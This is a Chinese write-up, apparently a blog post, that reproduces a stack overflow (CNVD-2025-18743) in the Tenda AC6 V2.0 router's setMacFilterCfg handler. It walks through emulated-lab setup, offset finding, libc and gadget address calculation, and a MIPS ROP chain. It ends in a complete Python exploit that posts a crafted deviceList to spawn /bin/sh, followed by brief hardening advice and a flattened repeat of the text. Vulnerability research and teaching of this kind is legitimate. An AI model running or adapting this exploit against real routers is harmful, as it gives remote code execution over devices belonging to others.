CNVD-2025-18743-Tenda-AC6V2.0_V15.03.06.23栈溢出漏洞复现
字数 1016 2025-09-23 19:27:38

CNVD-2025-18743:Tenda AC6V2.0 栈溢出漏洞分析与利用教学

一、漏洞概述

受影响设备:Tenda AC6 无线路由器
受影响版本:V2.0_V15.03.06.23
漏洞类型:栈溢出漏洞
危害等级:高危(可导致拒绝服务或远程代码执行)

二、漏洞原理分析

2.1 漏洞触发路径

websFormDefine("setMacFilterCfg", formSetMacFilterCfg)
    → formSetMacFilterCfg()
        → set_macfilter_mode(mac_filter_mode)
        → set_macfilter_rules(mac_filter_mode, rule_list)
            → set_macfilter_rules_by_one()
                → parse_macfilter_rule(source_rule, &rule_info)

2.2 关键漏洞点

parse_macfilter_rule 函数中存在不安全字符串操作:

rule_tmp = strchr(source_rule, 13);  // 查找回车符(\r)
// ... 其他操作 ...
strcpy(dest_rule->name, source_rule);  // 栈溢出发生点

2.3 触发条件

  1. POST请求 /goform/setMacFilterCfg 接口
  2. 参数要求:
    • macFilterType 必须为 "white" 或 "black"
    • deviceList 必须包含回车符 \r
  3. 通过Cookie进行身份认证:password=1111

三、环境搭建

3.1 网络环境配置

#!/bin/bash
# 网桥配置脚本
sudo ifconfig ens33 down
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo brctl stp br0 on
sudo brctl setfd br0 2
sudo brctl sethello br0 1
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo brctl show br0
sudo brctl showstp br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo ifconfig tap0 192.168.50.12/24 up
sudo ifconfig ens33 192.168.50.10/24 up
sudo brctl showstp br0

3.2 固件提取与启动

# 解压固件
binwalk -Me US_AC6V2.0RTL_V15.03.06.51_multi_TDE01.bin

# 修复web目录
rm -rf webroot
mkdir webroot
cp -rf ./webroot_ro/* ./webroot/
cp $(which qemu-mipsel-static) ./
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

3.3 补丁处理

需对固件进行必要的patch操作以确保正常启动(具体patch方法需参考相关教程)。

四、漏洞复现

4.1 基础POC

import requests
from pwn import *

url = "http://192.168.50.18/goform/setMacFilterCfg"
cookie = {"Cookie": "password=1111"}
payload = cyclic(500)

data = {
    "macFilterType": "white",
    "deviceList": b"\r" + payload
}

requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)  # 发送两次确保触发

4.2 偏移量计算

  1. 启动调试环境:
# 终端1:启动调试服务
sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd

# 终端2:GDB调试
gdb-multiarch
file ./bin/httpd
target remote :1234
c
  1. 使用cyclic模式确定偏移量:
payload = cyclic(476)  # 实际偏移量为472(476-4)

4.3 关键地址计算

libc基址计算

# 在strcpy处断点:b *0x4E6A24
# 获取strcpy运行时地址:0x3fd62220
# 获取strcpy在libc中的偏移:0x0003d220
libc_base = 0x3fd62220 - 0x0003d220  # = 0x3FD25000

system地址计算

mipsel-linux-gnu-readelf -s ./lib/libc.so.0 | grep system
# 输出:0x00060320
system_addr = libc_base + 0x00060320

/bin/sh地址计算

# 在IDA中查找:0x6AE30
binsh_addr = libc_base + 0x6AE30

4.4 ROP链构造

Gadget查找

Gadget1 (libc.so.0):

.text:00029B34 lw $ra, 0x18+var_s14($sp)
.text:00029B38 lw $s4, 0x18+var_s10($sp)
.text:00029B3C lw $s3, 0x18+var_sC($sp)
.text:00029B40 lw $s2, 0x18+var_s8($sp)
.text:00029B44 lw $s1, 0x18+var_s4($sp)
.text:00029B48 lw $s0, 0x18+var_s0($sp)
.text:00029B4C jr $ra
gadget1 = libc_base + 0x29B34

Gadget2 (控制参数传递):

.text:0000DC1C move $a0, $s0
.text:0000DC20 move $t9, $s1
.text:0000DC24 jalr $t9
gadget2 = libc_base + 0xDC1C

可读地址

read_base = libc_base + 0x66C9F  # 任意可读地址

4.5 完整攻击载荷

import requests
from pwn import *

url = "http://192.168.50.18/goform/setMacFilterCfg"
cookie = {"Cookie": "password=1111"}

# 地址计算
libc_base = 0x3fd62220 - 0x0003d220
system_addr = libc_base + 0x00060320
binsh_addr = libc_base + 0x6AE30
gadget1 = libc_base + 0x29B34
gadget2 = libc_base + 0xDC1C
read_base = libc_base + 0x66C9F

# 构造ROP链
payload = b"Q" * 472
payload += p32(gadget1)
payload += p32(read_base)    # 覆盖$ra
payload += b"BBBB"           # 覆盖$s4
payload += b"CCCC"           # 覆盖$s3
payload += b"DDDD"           # 覆盖$s2
payload += b"EEEE"           # 覆盖$s1
payload += b"FFFF"           # 覆盖$s0
payload += p32(binsh_addr)   # $s0 = /bin/sh
payload += p32(system_addr)  # $s1 = system
payload += b"A" * 12         # 填充
payload += p32(gadget2)      # 跳转到gadget2

data = {
    "macFilterType": "black",
    "deviceList": b"\r" + payload
}

requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)

五、漏洞利用要点

  1. 触发条件:必须发送两次POST请求才能确保触发漏洞
  2. 偏移计算:实际偏移量为472字节(cyclic计算值为476,包含4字节返回地址)
  3. 寄存器控制
    • $s0 需要指向 "/bin/sh" 字符串地址
    • $s1 需要指向 system() 函数地址
  4. 栈平衡:需要精心构造栈布局确保正确跳转

六、防护建议

  1. 输入验证:对deviceList参数进行长度检查和内容过滤
  2. 安全函数:使用strncpy替代strcpy,并指定最大长度
  3. 栈保护:启用栈保护机制(如CANARY)
  4. 地址随机化:启用ASLR保护

七、技术总结

  1. 该漏洞属于典型的栈溢出漏洞,通过精心构造的ROP链可实现远程代码执行
  2. MIPS架构的漏洞利用需要特别注意寄存器传递规则和栈平衡
  3. 成功利用需要准确计算各种偏移量和地址
  4. 此类漏洞在嵌入式设备中较为常见,需加强输入验证和安全编码实践

注:本文仅用于安全研究和教学目的,请勿用于非法用途。

CNVD-2025-18743:Tenda AC6V2.0 栈溢出漏洞分析与利用教学 一、漏洞概述 受影响设备 :Tenda AC6 无线路由器 受影响版本 :V2.0_ V15.03.06.23 漏洞类型 :栈溢出漏洞 危害等级 :高危(可导致拒绝服务或远程代码执行) 二、漏洞原理分析 2.1 漏洞触发路径 2.2 关键漏洞点 在 parse_macfilter_rule 函数中存在不安全字符串操作: 2.3 触发条件 POST请求 /goform/setMacFilterCfg 接口 参数要求: macFilterType 必须为 "white" 或 "black" deviceList 必须包含回车符 \r 通过Cookie进行身份认证: password=1111 三、环境搭建 3.1 网络环境配置 3.2 固件提取与启动 3.3 补丁处理 需对固件进行必要的patch操作以确保正常启动(具体patch方法需参考相关教程)。 四、漏洞复现 4.1 基础POC 4.2 偏移量计算 启动调试环境: 使用cyclic模式确定偏移量: 4.3 关键地址计算 libc基址计算 system地址计算 /bin/sh地址计算 4.4 ROP链构造 Gadget查找 Gadget1 (libc.so.0): Gadget2 (控制参数传递): 可读地址 4.5 完整攻击载荷 五、漏洞利用要点 触发条件 :必须发送两次POST请求才能确保触发漏洞 偏移计算 :实际偏移量为472字节(cyclic计算值为476,包含4字节返回地址) 寄存器控制 : $s0 需要指向 "/bin/sh" 字符串地址 $s1 需要指向 system() 函数地址 栈平衡 :需要精心构造栈布局确保正确跳转 六、防护建议 输入验证:对 deviceList 参数进行长度检查和内容过滤 安全函数:使用 strncpy 替代 strcpy ,并指定最大长度 栈保护:启用栈保护机制(如CANARY) 地址随机化:启用ASLR保护 七、技术总结 该漏洞属于典型的栈溢出漏洞,通过精心构造的ROP链可实现远程代码执行 MIPS架构的漏洞利用需要特别注意寄存器传递规则和栈平衡 成功利用需要准确计算各种偏移量和地址 此类漏洞在嵌入式设备中较为常见,需加强输入验证和安全编码实践 注:本文仅用于安全研究和教学目的,请勿用于非法用途。